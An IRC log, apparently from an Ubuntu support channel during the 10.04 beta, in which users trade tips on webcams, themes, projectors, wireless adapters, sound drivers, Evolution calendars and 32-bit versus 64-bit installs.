[19:23] <peepsalot> thanks ZykoticK9
[19:23] <gsp2009> xapel: so set up your gtalk account in empathy... open a chat window... then it is Contact -> make video call.
[19:24] <Blue11> xapel: it didn't work well so I abandoned it - my netbook will do it, but I don't have anyone to test with.
[19:24] <xapel> gsp2009: as soon as I start the video call it hangs up
[19:25] <gsp2009> xapel: your cam is working for sure?
[19:25] <xapel> gsp2009: yes, i can use skype and cheese
[19:25] <switchgirl> i have a file here that i can't pastebin, cant send etc but need you lot to see - its 1.1gb
[19:25] <xapel> gsp2009: have you made a video call now?
[19:25] <switchgirl> its the log
[19:26] <Blue11> switchgirl: tail it
[19:26] <switchgirl> tail?
[19:26] <Blue11> switchgirl: or use dmesg
[19:26] <switchgirl> what why and how?
[19:26] <gsp2009> xapel: hang on... will boot up my other machine
[19:26] <xapel> gsp2009: ok
[19:27] <ZykoticK9> xapel, you might want to see bug #421572
[19:28] <Blue11> switchgirl: sudo tail -n 150 /var/log/messages
[19:29] <Blue11> lst 150 lines dmesg gives you like last 100 or so
[19:29] <xapel> ZykoticK9: thanx
[19:30] <kushalone> is 10.04 officiallty frozen yet?
[19:31] <kushalone> *officially
[19:31] <DASPRiD> kushalone, feature wise?
[19:31] <xapel> ZykoticK9: I am actually subscribed to that bug, but there has not been any updates since October 2009
[19:31] <kushalone> DASPRiD: yes
[19:32] <Roasted> does anybody know if theres a way to tweak the color of the menu text and the taskbar text in the default theme in 10.04?
[19:32] <ZykoticK9> xapel, i really don't know anything about that bug, or using empathy to video chat -- it just came up on my search.  Good luck man.
[19:32] <kushalone> DASPRiD: I am more concerned with the xorg bugs, to be honest
[19:32] <Blue11> Roasted: EASY way is to use antoher them
[19:32] <DASPRiD> kushalone, and me with alternate installer bugs, you currently cannot install with raid
[19:32] <switchgirl> http://paste.ubuntu.com/417357/
[19:32] <Blue11> theme
[19:33] <switchgirl> think there should be a warning about ufw logging
[19:33] <Roasted> Blue11, yeah, but I was just trying to use the default one to get used to it. But man, that text needs to be brighter. I feel like Im looking at a faded CRT from the 80s
[19:34] <kushalone> DASPRiD: I have two 40 gb IDE hard disk drives (master and slave). I am not really considering an RAID array atm
[19:34] <Blue11> Roasted: I am using the clear themes one works ok
[19:35] <Blue11> switchgirl: wow that's a log or output I usually run with ufw disabled
[19:35] <kklimonda> switchgirl: your problem is not related to ufw logging - your problem is that logs are not rotated
[19:35] <klappi> is there a trick to prevent my computer from freezing when i copy via nfs? I didnt have this in karmic
[19:35] <Roasted> Blue11, Im a huge fan of dust sand... I just tweak the black text to be jet black instead of the darkish gray they have and besides that it looks good.
[19:35] <Blue11> switchgirl: ufw is the linux firewall fwiw
[19:35] <Roasted> Blue11, but I like themes with a dark top panel, and the default one in 10.04 looks good except my 20 20 vision seems to think the text color is a little... weird.
[19:35] <kushalone> when logging out, does Lucid log you out automatically after 60 seconds or do you have to push log out in the pop up menu?
[19:35] <joaopinto> klappi, search for similar bug reports, or report it
[19:36] <switchgirl> i turned off the ufw logging
[19:36] <gsp2009> xapel: hey... crashed my empathy when I tried with a web client.
[19:37] <gsp2009> xapel: but works between two installed clients
[19:37] <xapel> gsp2009: mmmm...interesting
[19:37] <Blue11> i wish they had a green coloured theme
[19:39] <Roasted> I wish they had a theme with decent text color choices lololol what
[19:39] <xapel> gsp2009: i need to make a talk to a windows pc though, so I need to connect to a web client
[19:39] <Roasted> dust sand is like, amazing. but I wish it was a tad darker.
[19:39] <Blue11> Roasted: you can customise them
[19:40] <Roasted> Blue11, the text color or the dust sand background color?
[19:40] <Blue11> it allows you to make a custom theme with colours you choose
[19:40] <Roasted> what does
[19:41] <Blue11> Roasted: the theme picker
[19:41] <Blue11> System/Preferences/Appearence/Themes
[19:41] <Roasted> yes, I know that. But when I adjust the dust sand background color, it does change the color of the panel - wh ich is what I want.
[19:42] <Roasted> and when I change the color of the text in the default 10.04 theme, it doesnt change the menu - which is what I want
[19:42] <Gent> anyone here know if super+u, super+p, or super+v are bound to anything by default?
[19:42] <Blue11> Roasted: dunno that's all I've tried
[19:42] <Gent> I use them as keyboard shortcuts for gedit's external tools but they are not triggering
[19:42] <Blue11> Gent: super what?
[19:42] <Gent> windows key
[19:42] <Blue11> Gent: oh I don't have that on my k/b
[19:43] <Gent> It's a useful key for additional shortcuts despite the windows logo
[19:43] <Blue11> yeah mine are disabled I guess by default
[19:43] <Gent> or at least it was
[19:43] <Gent> but something seems to be grabbing it
[19:44] <Blue11> you looked at System/Preferences/Keyboard Shortcuts
[19:45] <Gent> yeah, it doesn't look like any of those user super
[19:45] <Blue11> Gent: give it a shot - I have never played with that
[19:45] <Gent> well that doesn't really work for me, the shortcuts are specific to gedit's external tools
[19:46] <Blue11> Gent: okay you're way beyond what I know I didnt know gedit had external tools
[19:46] <Gent> it's a plugin
[19:47] <Blue11> son of a gun, never knew there were plugins for gedit
[19:48] <Roasted> Blue11, what theme do you use
[19:49] <Gent> this is really cramping my work flow...
[19:50] <Reckon> is there any Ubuntu official admin pdf e.book? Free, of course
[19:51] <Blue11> Reckon: dunno
[19:54] <Reckon> thanks bluell
[19:55] <Reckon> I'm impressed about the boot times Ubuntu takes
[19:55] <Blue11> Reckon: all the stuph I have is like 8.10 stuph
[19:56] <Blue11> Reckon: I've put a few tips out on http://www.pkill-9.com
[19:56] <xcv> hola. need some help with linksys wusb54gs (usb wireless 'g' nic) on lucid 32-bit. lsusb shows the device "Bus 001 Device 002: ID 13b1:000e
[19:56] <Blue11> xcv: you have 2 ethernet cards then?
[19:56] <xcv> figured i'd pop in for a chat before wiping the machine and testing it under karmic
[19:56] <xcv> no, i'm chatting from a diff machine
[19:57] <Blue11> xcv: okay
[19:57] <gsp2009> Roasted: sorry... was away... any luck?
[19:58] <Roasted> gsp2009, not on the desktop - but I booted it on my laptop just fine.
[19:58] <Roasted> gsp2009, I gotta admit, I was disappointed with the default theme though. It looks nice, but the text needs to be much brighter in the top panel/menu. I cant figure out how to change it... so I sorta got sidetracked trying to figure that out :P
[19:58] <spine55> does anyone know if there is a way to move the gnome titlebar icons to the right instead of the left in lucid?
[19:59] <Roasted> spine55, yes
[19:59] <Blue11> spine yes
[19:59] <Roasted> spine55, hit ALT + F2 and type gconf-editor
[19:59] <gsp2009> Roasted: i felt the same. System -> prefs -> appearance
[19:59] <Roasted> apps - metacity - general
[19:59] <Roasted> gsp2009, I cant change the text in the top panel/menu though, only for in windows.
[19:59] <Roasted> spine55, then change the one entry to close:minimize,maximize,close
[19:59] <Roasted> I think thats the order
[19:59] <Blue11> spine55: here's how to do it:  http://pkill-9.com/wordpress/?p=207
[20:00] <spine55> Roasted: nice thanks everyone
[20:00] <diverse_izzue> i have the various indicator applets render wrongly after the first startup, it's as if the drawing were shifted away from the areas where one can click with the mouse. restarting the panel always helps. do others have this issue?
[20:00] <gsp2009> Roasted: click customize... then icons..
[20:00] <gsp2009> Roasted: I chose humanity dark
[20:01] <Roasted> gsp2009, thats for icons, though.
[20:01] <Roasted> gsp2009,  I want the actual TEXT color to be brighter.
[20:01] <Roasted> gsp2009, like applications/places/system, and everything in the menus. I want that to be brighter.
[20:01] <Roasted> gsp2009, its far too blah right now in the default look
[20:01] <gsp2009> Roasted: oh sorry.. misread.
[20:04] <shane2peru> laptop connected to projector, can't get both to mirror images, same on both screens, and if I play a presentation with OOo, it only shows on laptop???
[20:05] <gsp2009> shane2peru: oh god.. I spent 2 days on that prob... nvidia?
[20:05] <shane2peru> gsp2009, no worse ATI
[20:06] <gsp2009> shane2peru: :(
[20:06] <shane2peru> gsp2009, when I open System -> Admin -> Monitor I can see them both, but when I change them around, it won't configure them
[20:06] <gsp2009> shane2peru: the prob is that there are hardware functions that sometimes bork everything up.
[20:06] <gsp2009> have you played with those?
[20:07] <shane2peru> both monitors are there and I can drag them around, but nothing sticks, says can't configure the ctr projector
[20:07] <x4D54756768616E> shane2peru: If you're just wanting OOo to project on the projector, see Slide Show->Slide Show Settings.
[20:07] <xcv> Blue11: it's a friend's desktop machine with a flaky optical drive. i took the machine home, installed karmic 32bit via 2gb usb 'thumb' drive, seemed stable but i didn't have the nic for testing. i had it connected via cat 5 and did a "update-manager -d" this past monday. upgrade finished okay and seemed stable so i gave the machine back to the owner, who can't get associated to wireless router. not sure what to do next. this chat
[20:07] <xcv> is on my laptop, which is running karmic and associated to the same router.
[20:08] <shane2peru> x4D54756768616E, wow, never bothered to look there before!  I will tinker with that, thanks!!!
[20:08] <almoxarife> shane2peru: have a look at your bios setting for external viewer, mine has different settings avail
[20:08] <x4D54756768616E> shane2peru: I used to have to do it with PowerPoint on an XP computer at my church. :)
[20:09] <shane2peru> x4D54756768616E, that did it!!!  I need it for tonight at church, much appreciated for that tip
[20:09] <shane2peru> almoxarife, I got it working, thanks!
[20:11] <KDesk> Has some one problems with very high ram usage (and then very high swap usage, the system becomming very slow, etc.) with lucid?
[20:11] <BUGabundo> my desktop http://dl.dropbox.com/u/112892/desktop.png
[20:12] <duffydack> wow, my netbooks battery is being destroyed in 10.04.
[20:14] <Blue11> duffydack: what's happening?
[20:15] <Blue11> duffydack: I have 9.10 on my netbook (netbook remix) and that seems fine
[20:18] <xcv> so, any ideas, room? :)
[20:19] <mirak> is it feasible to boot from software RAID ?
[20:19] <duffydack> Have had it switched on for approx 3 hours while testing U1, not overusing it as it just let it sit there and check that its filling the folder with the files it should have,  left it idling and its nearly out of power.  i think this is rated for 6-9 hours..  i purposely got the better battery with it, 35.5 Wh, I dont know much about batteries tbh, but I believe it should last a while longer when not being really used much.
[20:20] <itdock> yeah as always
[20:20] <itdock> create /boot as md raid 1
[20:21] <TommyThaGun_> I just got this error when trying to report a bug: "You have some obsolete package versions installed. Please upgrade the following packages and check if the problem still occurs: libgudev-1.0-0, libthai-data, libthai0, libudev0, shared-mime-info, udev"
[20:21] <TommyThaGun_> This issue I'm facing is that apt says those packages are the newest
[20:22] <DanaG1> argh, there's something wrong with the linux-alsa-driver-modules ALSA version, for me.
[20:24] <gsp2009> DanaG1: me too... no one seems to know how to fix sound
[20:24] <DanaG1> Do you have that actual package installed?
[20:24] <DanaG1> linux-alsa-driver-modules-2.6.32-21-generic
[20:24] <gsp2009> DanaG1: hang on.. will check
[20:25] <DanaG1> it's in the repo ppa:ubuntu-audio-dev
[20:26] <DanaG1> Though, for me, it's actually rather thoroughly killing my kernel.
[20:26] <gsp2009> DanaG1: nope.. I don't have it.
[20:26] <gsp2009> and still don't have sound
[20:26] <gsp2009> rather.. I don't have sound as well...
[20:26] <crimsun> DanaG1: well, they haven't been updated since the 16th, for starters
[20:27] <crimsun> DanaG1: that's due to some upstream screwage with the script used to checkout sound-2.6 master HEAD
[20:27] <crimsun> DanaG1: and now, the domain has expired, so takashi's script is borked
[20:27] <DanaG1> hmm, which domain expired?
[20:27] <crimsun> alsa-project.org
[20:27] <DanaG1> ah.
[20:28] <crimsun> also, do you still get the same soft lockup with 2.6.34-rc4 vanilla (mainline)?
[20:30] <KDesk> Have the betas something different from the final release (not including bug fixed packages)?
[20:30] <crimsun> oh man, I hope I didn't break the entire Dell Mini9/Vostro Axx families :(
[20:31] <crimsun> oh whew, I just need to quirk the VREF bit for capture
[20:32] <xcv> bueller?... bueller?
[20:34] <crimsun> xcv: what?
[20:34] <xcv> crimsun: "hola. need some help with linksys wusb54gs (usb wireless 'g' nic) on lucid 32-bit. lsusb shows the device "Bus 001 Device 002: ID 13b1:000e"
[20:34] <xcv> (thank you)
[20:34] <crimsun> xcv: and?
[20:36] <xcv> crimsun: oh, 'wireless' disabled in network manager drop-down; OS seems to not be recognizing the device
[20:38] <xcv> crimsun: cripes; it just made a liar out of me -- just got the wireless networks available notification. will try to associate again. brb and thanks for you patience :)
[20:38] <nishanth> i just updated to lucid ....does anyone know why the left click does not work on flash player?
[20:41] <Odd-rationale> nishanth: it is a known bug. has to do with the desktop effects...
[20:42] <Odd-rationale> nishanth: see here for more details: https://bugs.launchpad.net/bugs/410407
[20:42] <Odd-rationale> (and some workarounds)
[20:47] <xcv> okay, still not associating; not sure if this is related (from dmesg) "tg3 0000:05:02.0: firmware: requesting tigon/tg3_tso5.bin" and later, several "wlan0: setting auth mode failed (FFFFFFD1)"
[20:48] <DanaG> crimsun: works fine on 34-rc4.
[20:52] <rbanffy> Hi folks. Anyone else from Brazil misses the "ç" the way it was in the old us_intl layout?
[20:58] <xcv> okay all, i just booted 9.10 32-bit on same machine, same problem, so not 10.04 issue. thanks for being there -- you rock :)
[21:00] <crimsun> DanaG: thanks.
[21:00] <crimsun> personally find 2.6.34-rc4 a lot more usable than lucid's
[21:01] <DanaG> I just wish those radeon PM patches would choose the correct low-power state....
[21:01] <DanaG> I have two "battery" modes... and the radeon KMS PM code chooses the higher-powered of the two.
[21:18] <nOStahl> hi guys
[21:18] <nOStahl> can one of you do a test for me. go into evolution and try to create a new calendar and see if option google appears
[21:20] <mandrew>  /join #ubuntu-se
[21:21] <nOStahl> anyone see google as an option for evolution calendars?
[21:28] <Walzmyn> Why has "firefox" disappeared from my krunner options?
[21:30] <nOStahl> hey walzmyn
[21:30] <nOStahl> can you check in evolution for me go to calendars
[21:30] <mirak> sata hard drives are hotplugable or not ?
[21:30] <nOStahl> and rightclick where they are and select new calendar
[21:31] <nOStahl> see if you can see google in the list of options
[21:31] <Thistleknot> hi peeps
[21:31] <Thistleknot> help me pls
[21:31] <Walzmyn> <-- running KDE, nOStahl
[21:31] <Thistleknot> this isn't easy
[21:31] <Thistleknot> expresscard booting
[21:31] <Thistleknot> bios doesn't support expresscard booting
[21:31] <Thistleknot> i tried grub2
[21:31] <nOStahl> ah
[21:31] <Thistleknot> grub2 saw the device
[21:31] <Thistleknot> I was able to initiate the linux boot
[21:31] <Walzmyn> Thistleknot: one line please
[21:32] <nOStahl> anyone here able to check this for me in evolution, it dosnt give me option for google calendar. need to know if its just my system or something
[21:32] <Thistleknot> but when the linux kernel loaded, it lost sight of the ssd, I'm thinking it needs a kernel module
[21:32] <duffydack> Any way yet to display the splash at a decent resolution using fglrx..  Nicely like it was using the radeon oss driver
[21:33] <Walzmyn> nOStahl: is there not an option for a calendar on an external drive or some such that you can point to gcal? That's how Kontact works
[21:33] <nOStahl> evolution usually has a specific option for google calendar
[21:33] <nOStahl> its not showing up in 10.04
[21:34] <Walzmyn> nOStahl: *shrug*
[21:35] <Thistleknot> https://answers.launchpad.net/ubuntu/+question/103990 has some info, ata kernel drives for ubuntu?
[21:36] <mandrew> is it better to run 64 bit ubuntu if i can or shall i stick to 32 bit on my netbook?
[21:37] <DanaG> Thistleknot: can you boot from another device and check what lspci and lsusb show?
[21:38] <coc0nut> mandrew: Doesn't really make much of a difference
[21:38] <coc0nut> 64-bit is stable now though.
[21:38] <rbanffy> If I want to discuss something with the folks who design the keyboard layouts, where do I go?
[21:38] <Thistleknot> omg
[21:38] <Thistleknot> there it is
[21:38] <Thistleknot> I'm out and gonna try this
[21:39] <Walzmyn> mandrew: i'd go with 64 to make best use of your cpu
[21:39] <acicula> any issues with updating to 10.04 when using an encryted home?
[21:40] <Walzmyn> acicula: i'm not using encrypted, but a buddy of mine said he had major issues with it - enough that he bailed to arch linux
[21:40] <guntbert> acicula: just make certain to have the passphrase recorded an stored in a safe place
[21:40] <acicula> the one i get with unwrap-passphrase ?
[21:40] <guntbert> acicula: yes that one
[21:40] <mandrew> does the 32 bit have a smaller energy footprint?
[21:41] <acicula> guntbert: thanx :)
[21:42] <guntbert> acicula: but that was more of a general warning - I myself didn't upgrade (yet)
[21:43] <acicula> i havent either, is the passprase all thats needed to mount the encrypted parts manually or is it used to unwrap a key stored somewhere else?
[21:45] <guntbert> acicula: you will want to read http://www.linux-mag.com/cache/7568/1.html about it all
[21:45] <acicula> guntbert: thanx will have a read
[21:47] <Walzmyn> mandrew: this is purely speculation, but I'd think that 64 bit would be more efficent because the processor and OS are both working together and 64 bit OS is going to multithread better
[21:50] <mandrew> sound good :D
[21:52] <joaopinto> Walzmyn, there is no relation between 64 bits and threads :)
[21:53] <DASPRiD> bit is a not so good beer
[21:58] <DanaG> 64-bit is most useful for processing performance and such.
[21:59] <DASPRiD> and for today's RAM equipment :)
[21:59] <mandrew> so on a netbook 32 bit is better then?
[21:59] <mandrew> 1 gb ram
[21:59] <DASPRiD> for 1gb it doesn't really matter, no
[21:59] <mandrew> ok thanks
[22:00] <DASPRiD> there is no reason against 64bit on the other hand
[22:00] <DASPRiD> so if your cpu supports it, install it :)
[22:00] <mandrew> then i need to reinstall :( dont really want to do that :P
[22:01] <DASPRiD> i always wondered how one could switch a system to 64bit without reinstalling
[22:03] <duffydack> DASPRiD, with a seperate partition for /home, and a pkg list to use, its not really much of a reinstall.  afaik, you cant go to 64bit without a reinstall
[22:04] <terroh8er> hello chaps, will i be able to easily update from 10.04 beta to the final version when it comes out?
[22:05] <DASPRiD> yes (not guranted by me :))
[22:05] <terroh8er> ah ok, so i don't have to redownload the iso and install it again? it will be OTA more or less?
[22:06] <Spezi> last time i did so i just noticed it because there was quite a lot of updates available when i did apt-get upgrade :P
[22:07] <terroh8er> thanks :)
[22:07] <cessaro1> My Compaq laptop, previously running 9.04 without any problems at all, will not boot with upgrade to 9.10 beta 2. Any suggestions?
[22:07] <Dekkard> curious..how can i tell if im using nouveau or not?
[22:08] <nOStahl> you need to get a newer version of ubuntu then 9.10 beta2
[22:08] <cessaro1> where? That seems to be the latest.
[22:09] <nOStahl> 10.04 beta 2 is the latest and greatest
[22:11] <Mighty_Penguin> 10.04 is the latest, 9.10 was the last release
[22:11] <cessaro1> In the grub menu there are 5 entries, 2 each for the development kernels 20 and 21, and one memtest. I've tried to boot from the 4 kernels, but eventually it indicates that the machine is starting and just hangs.
[22:11] <DASPRiD> last, but not least
[22:11] <nOStahl> hey might_penguin are you running gnome
[22:11] <Mighty_Penguin> nOStahl, yes
[22:12] <nOStahl> can you check in evolution calendar if you see a selection for google calendar when you go to create a new calendar
[22:12] <nOStahl> its not showing up for me im on 10.04 beta2 fully updated
[22:12] <terroh8er> this might be a dumb question, but does ubunbtu take full advantage of multi-core processors like the i7?
[22:12] <Mighty_Penguin> nOStahl, give me a minute to figure it out, I've never used evolution before
[22:12] <nOStahl> ah its awesome when its all configured
[22:13] <duffydack> terroh8er, if you mean can it see all 8 threads and turbo boost, yes..
[22:16] <Mighty_Penguin> nOStahl, I see a google option when creating a new calendar
[22:19] <nOStahl> weird
[22:19] <nOStahl> its not showing on my end
[22:20] <nOStahl> ah weird
[22:20] <nOStahl> i closed out this timeand went back in and now its there
[22:21] <nOStahl> woot that feels much better
[22:22] <cessaro1> ubuntu 10.04 won't boot: In the grub menu there are 5 entries, 2 each for the development kernels 20 and 21 (generic and recovery), and one memtest. I've tried to boot from the 4 kernels, and eventually it indicates that the machine is starting and just hangs. Help!
[22:23] <chris4585> nOStahl, cool, evolution isn't that bad
[22:23] <nOStahl> i like it
[22:23] <nOStahl> havnt found anything that comes close
[22:23] <chris4585> there is thunderbird
[22:24] <nOStahl> ya
[22:24] <nOStahl> something about evolutions layout i just click with though
[22:26]  * duffydack likes the simplicity of simple-mail firefox plugin . i`m not a big emailer
[22:27] <DanaG> who was it that was talking about ssds the other day?
[22:27] <DanaG> http://www.cmoullas.net/reviews/44-ssd/90-intel-ocz-ssd-power-consumption
[22:42] <cessaro1> anybody have boot problems with Ubuntu 10.04 beta 2?
[22:43] <simontol> Hi, anyone here who knows where I can find the new Ubuntu logo fonts?
[23:00] <persia> Hey.  I'm having issues getting my sound preferences to redirect sound to my USB headset in recent lucid.  Anyone have any good pointers to track this down?
[23:02] <KDesk> has the beta version the debug things on?
[23:06] <acicula> debug things?
[23:08] <Oxymoron> Could someone tip me about some kind of nice editor/IDE that works almsot as well as Zend Studio or Aptana because it isnt working at the moment it crashed once in awhile.
[23:08] <Typh> what's an easy way to redirect terminal output to a google search
[23:09] <acicula> ctrl-c/v ?
[23:09] <acicula> KDesk: if you mean gcc debugging symbols then no
[23:09] <Typh> haha, preferably automated :D
[23:17] <KDesk> acicula: ah, thanks for the info
[23:18] <blacksunseven> anyone here use vmware-player?
[23:20] <duffydack> Typh, I guess it could be done with a cli browser..
[23:25] <CrimsonIdol> yes
[23:25] <CrimsonIdol> blacksunseven, -> yes, I do.
[23:25] <blacksunseven> CrimsonIdol: in 10.04?
[23:27] <CrimsonIdol> no, 8.04
[23:28] <blacksunseven> CrimsonIdol: it's just eating proc resources like a hungry hungry hippo
[23:28] <CrimsonIdol> I have 10.04 in vm now.
[23:28] <blacksunseven> i've got it set to 1GB ram with 1 cpu core
[23:28] <CrimsonIdol> while running a vm?
[23:29] <CrimsonIdol> i'm confused... you running it in 10.04 or 10.04 in it?
[23:29] <blacksunseven> running xp in it on 10.04
[23:29] <Oxymoron> Sorry for this stupid question, but does someone know why Netbeans looks so ugly? xD :D
[23:29] <chorse> Oxymoron: yes, Sun/Oracle does.
[23:30] <Oxymoron> chorse: Do you know where I can contact them? :)
[23:31] <Dimmuxx> what's the proper way to gather information when X freezes? I've got an intel gpu
[23:31] <Oxymoron> chorse: Its so sad, they have a lot of good potential and have most of features I need but the GUI make me unhappy and not creative at all. I must feel "happy" when I am programming or else it doesnt feel good.
[23:31] <chorse> Oxymoron: http://www.oracle.com/
[23:32] <Oxymoron> chorse: Yes, sure I email right forward to oracle.com ... lol. I meant some real contact info to their development and design team.
[23:33] <chorse> Oxymoron: I'm sure you find something on their website.
[23:33] <Oxymoron> chorse: Well it quite large ...
[23:33] <joaopinto_> Dimmuxx, ubuntu-bug xorg
[23:33] <bjsnider> netbeans is a java app isn't it?
[23:34] <joaopinto_> that should collect most of required logs
[23:34] <Dimmuxx> joaopinto_: while x is freezed?
[23:34] <joaopinto_> Dimmuxx, no, after that
[23:35] <Oxymoron> chorse: I cannot found any unofficial contact information, jsut some phone numbers and mails to their main company xD
[23:35] <joaopinto_> Dimmuxx, or check the Xorg logs
[23:35] <Oxymoron> bjsnider: Yes, its a java app ;)
[23:35] <bjsnider> that's why it's ugly
[23:35] <Oxymoron> bjsnider: It looks exactly the same as the isntaller Zend Studio, Aptana and themselves have xD
[23:35] <bjsnider> all java apps look like the picture of dorian gray
[23:36] <Oxymoron> bjsnider: Isnt it possible to create your own interface and GUI even if you use Java?
[23:36] <Dimmuxx> joaopinto_: nothing interesting in the log
[23:36] <joaopinto_> Dimmuxx, no segfault ? you need to check the old logs
[23:36] <bjsnider> they could create a gtk gui
[23:36] <bjsnider> or a qt gui
[23:36] <Oxymoron> bjsnider: Then I must say, why does ALL computers use grey as default color? :S Grey is the most depressing color in the world.
[23:37] <Oxymoron> bjsnider: Yeah, gtk or qt would be nice. Do you know what kind Eclipse and Zend Studio uses?
[23:37] <bjsnider> ubuntu uses purple
[23:37] <Oxymoron> bjsnider: Yeah, purple is nice :)
[23:37] <Dimmuxx> joaopinto_: you mean Xorg.0.log in /var/log right?
[23:37] <bjsnider> prince thinks so
[23:38] <Oxymoron> bjsnider: Everywhere I just see grey areas and it annoys me and make me more depressed then I am already.
[23:38] <bjsnider> maybe you should go into therapy
[23:38] <Dimmuxx> I could still move the mousepointer in X but couldn't click on anything, it was possible to start a new gnome-terminal via alt+f2
[23:38] <Dimmuxx> so maybe it wasn't a real X freeze :P
[23:38] <Oxymoron> bjsnider: I am in teraphy already ... still depressed xD
[23:39] <Oxymoron> bjsnider: No not depressed like that, but a little bit down.
[23:39] <joaopinto_> Dimmuxx, I mean .old or .1, .0 is probably the one from your working boot :
[23:39] <Dimmuxx> it have happend once on both my lucid computers but like a month apart so it's not somehing new
[23:39] <Dimmuxx> I didn't restart
[23:39] <joaopinto_> Dimmuxx, it was not a real freeze
[23:39] <Dimmuxx> just killed X
[23:40] <joaopinto_> it's most like a windows manager issue
[23:40] <Oxymoron> bjsnider: When I look on a iPhone or Android interface I always get happy but when I start my computer Its black and grey colors all over it ... Why not use colorful happy colors on most milky and white areas? :S
[23:40] <joaopinto_> Dimmuxx, oh, 1 month is too long, update and check if it happens again
[23:40] <Oxymoron> You dont need eye candy to make things look good.
[23:40] <Dimmuxx> yeah tried to kill nautilus and gnome-panel but that wasn't enough
[23:40] <Dimmuxx> it just freezed on this computer
[23:40] <Dimmuxx> same thing happend on my other lucid computer a month ago
[23:41] <Dimmuxx> so the bug isn't new
[23:41] <Oxymoron> bjsnider: Ubuntu and Kubuntu especially finally have take a step forward with the new themes, fonts and logos its good but I dont understand why nobody have understand that until now? :S
[23:43] <Dimmuxx> When my other computer crashed a month ago I thought it was just because gnome weren't final yet but it should be final now but it seems that that bug remains :P
[23:45] <bjsnider> Oxymoron, maybe they had more important things to think about, such as broken software and unsupported hardware?
[23:47] <Dink> Other than the netbook gui are there any other tweaks in the netbook iso ? ie kernel minimal packages etc ?
[23:49] <Oxymoron> bjsnider: Yes, but IF I were the ground owner Linus Torvalds I would have provided a good GUI base from the beginning. I dont expect it to be perfect from the beginning but a quite nice default easy and clean happy interface GUI that all apps uses if they havent other graphic render protocols like gtk or QT
[23:49] <Dink> Basically would like to have a materialistic version. Would it be better to use the lucid alt iso and install cli then install the netbook-remix package ?
[23:50] <bjsnider> linus has nothing to do with any gui, he only deals with the kernel
[23:50] <Oxymoron> bjsnider: As far as I have understand, the real "issue" that people arent convinced about GNU/Linux before Windows or Apple is because of the user friendly lackyness of interfaces.
[23:50] <Oxymoron> bjsnider: I just took him as an example ;)
[23:50] <bjsnider> the person you should be focusing on is mark shuttleworth
[23:51] <Oxymoron> CO-owner of canoncial then.
[23:51] <bjsnider> he's the only reason ubuntu doesn't look like windows 2000 -- like fedora does
[23:52] <Oxymoron> I dont see much difference between ubuntu and Windows in that case but yeah sure.
[23:52] <bjsnider> suse looks good with their "sonar" theme
[23:52] <Oxymoron> 10.04 is one step in right direction anyway, and I am really glad to see the progress coming this far.
[23:53] <bjsnider> i don't think windows and osx look particularly good
[23:53] <bjsnider> but it's all subjective
[23:53] <Oxymoron> I have been waiting several years to migrate completely from Windows to GNU/Linux and/or *buntu dist.
[23:53] <bjsnider> why wait?
[23:53] <Oxymoron> bjsnider: I dont think WIndows or Apple OS look good either
[23:54] <Oxymoron> bjsnider: BEcause *buntu cannot provide me with enough stableness and wide support for things I need YET but soon.
[23:54] <bjsnider> what? ridiculous
[23:55] <Oxymoron> Now with plymouth, gfxboot in grub2, better KDM/GDM, better polished and wide featured desktop environments and hopefully better apps as well this is going to be far better than WIndows or Apple OS.
[23:56] <bjsnider> there's not a single thing you can say you need windows or osx for that i cannot point to an alternative for
[23:56] <Oxymoron> bjsnider: Look on wireless devices, webcam, IM-clients, browsers, some core errors to fix in temrinal (Not good for new users) and so on.
[23:56] <bjsnider> and forget this "stable" crap. you can run linux for years without rebooting
[23:57] <Oxymoron> stable is not always about freezeing and that kind of things like servers need to be without.
[23:57] <Oxymoron> If we just talking about GNU/Linux perfomance stableness, then yes its rock solid.
[23:57] <bjsnider> any d-link wifi device is supported immediately
[23:58] <bjsnider> the webcams i've used are supported
[23:58] <bjsnider> all browsers, i mean i don't even know what you're saying right now
[23:58] <duffydack> webcam and Im clients are fixed by using xmpp..  cant blame linux (even tho emesene does a good job but not perfect) for A/V chat
[23:58] <Oxymoron> DV cams doesnt work, wifi support wasnt supported before, I had to manually install ndiswrapper myself and so on.
[23:58] <bjsnider> for what wifi device?
[23:59] <Oxymoron> Any wifi device that used WPA encryption. I think *buntu was in v8.04 in that time.
[23:59] <bjsnider> you're out of date
[23:59] <bjsnider> wpa works fine
[23:59] <btakita> Hello, I'm having trouble diagnosing slow cached disk reads, using hdparm -T
[23:59]  * duffydack gots wifi and wpa2.
[23:59] <Oxymoron> bjsnider: NOW it works fine ... but not THEN